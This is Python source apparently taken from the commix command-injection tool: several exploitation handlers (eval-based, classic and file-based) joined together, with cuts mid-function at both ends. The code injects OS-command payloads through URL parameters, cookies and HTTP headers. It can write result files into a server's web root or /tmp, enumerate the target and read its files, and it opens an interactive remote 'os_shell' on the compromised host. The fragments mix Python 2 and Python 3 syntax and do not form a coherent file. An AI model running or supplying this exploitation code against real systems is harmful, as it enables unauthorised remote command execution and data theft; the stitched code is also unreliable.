+ enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options() and not menu.options.os_cmd and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # The main command injection exploitation. time.sleep(timesec) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell != "": shell = "".join(str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else : sys.stdout.write("\r") sys.stdout.flush()
def cb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = urllib.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) raise SystemExit() else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision(separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print settings.print_payload(payload) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = cb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) response = cb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results(response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print "" else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : success_msg += " " + http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options() and not menu.options.os_cmd and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) except: print "" continue if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser() shell = html_parser.unescape(shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): shell = False counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results. " print(settings.print_info_msg(info_msg)) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating payload for the injection..." print(settings.print_info_msg(info_msg)) print(settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = fb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) # Evaluate test results. output = _urllib.request.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = settings.SUCCESS_MSG info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise _urllib.error.HTTPError( url, 404, 'Error', {}, None) except _urllib.error.HTTPError as e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print("") while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = _input( settings. print_question_msg( question_msg)) else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print("") raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print( settings.print_error_msg( err_msg)) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent ) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent ) + "%)" else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print("") print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print("") else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_success_msg(success_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL >= 1: # print("") delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print("") if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print("") if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, 